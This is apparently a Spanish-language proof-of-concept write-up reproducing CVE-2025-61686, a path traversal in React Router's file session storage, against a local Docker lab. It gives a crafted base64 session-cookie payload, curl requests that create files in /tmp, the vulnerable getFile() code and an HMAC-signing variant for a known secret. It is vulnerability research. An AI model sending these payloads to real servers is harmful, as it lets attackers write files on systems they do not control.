
CVE-2025-61686 dockerfile y poc de reproducción
docker-compose up --build
docker-compose up
└─$ echo -en '"AAAA../../../tmp/flower"'|base64 -w0 | tr '+/' '-_' | tr -d '='
IkFBQUEuLi8uLi8uLi90bXAvZmxvd2VyIg
└─$ curl -H 'Cookie: session=IkFBQUEuLi8uLi8uLi90bXAvZmxvd2VyIg' 'http://localhost:3001/'
root@de14139fdebf:/app# ls /tmp
flower
Al comparar las versiones vulnerables 7.9.3 con 7.9.4 se observa que la causa principal de la vulnerabilidad es que la función getFile() en el archivo react-router/packages/react-router-node/sessions/fileStorage.ts tiene un problema en el manejo de la sesión.
export function getFile(dir: string, id: string): string {
// Divide the session id up into a directory (first 2 bytes) and filename
// (remaining 6 bytes) to reduce the chance of having very large directories,
// which should speed up file access. This is a maximum of 2^16 directories,
// each with 2^48 files.
return path.join(dir, id.slice(0, 4), id.slice(4));
}
Aquí se toman los primeros 4 caracteres de la sesión como nombre de carpeta y los caracteres posteriores como nombre de archivo, por lo que un atacante solo necesita hacer lo siguiente para lograr un path traversal. Esta es la razón por la que el aviso de vulnerabilidad dice que, cuando la sesión permite no usar secret, se puede lograr fácilmente un directory traversal. Por supuesto, si el atacante puede obtener el secret utilizado para cifrar la sesión, también puede construir el payload de traversal correspondiente.
>>> import os
>>> os.path.join("./sessions", "aaaa","../../tmp/flowerwitch")
'./sessions/aaaa/../../tmp/flowerwitch'
Para el caso en que se haya obtenido el secret, se puede hacer referencia a la función sign() y usar el secret para firmar el PoC.
export const sign = async (value: string, secret: string): Promise<string> => {
let data = encoder.encode(value);
let key = await createKey(secret, ["sign"]);
let signature = await crypto.subtle.sign("HMAC", key, data);
let hash = btoa(String.fromCharCode(...new Uint8Array(signature))).replace(
/=+$/,
"",
);
return value + "." + hash;
};
Realizar una solicitud con la sesión generada
└─$ curl -H 'Cookie: session=IkFBQUEuLi8uLi8uLi8uLi90bXAvZmxvd2Vyd2l0Y2gi.L2ffutps16%2B3ENWvuWy4ZCouT%2BPSVeqmQOeaW%2FjziXg' 'http://localhost:3001/'
Confirmar la activación de la vulnerabilidad
root@eb8750bd4a56:/tmp# ls
flowerwitch
Script de generación de firma use_secret_create_payload.js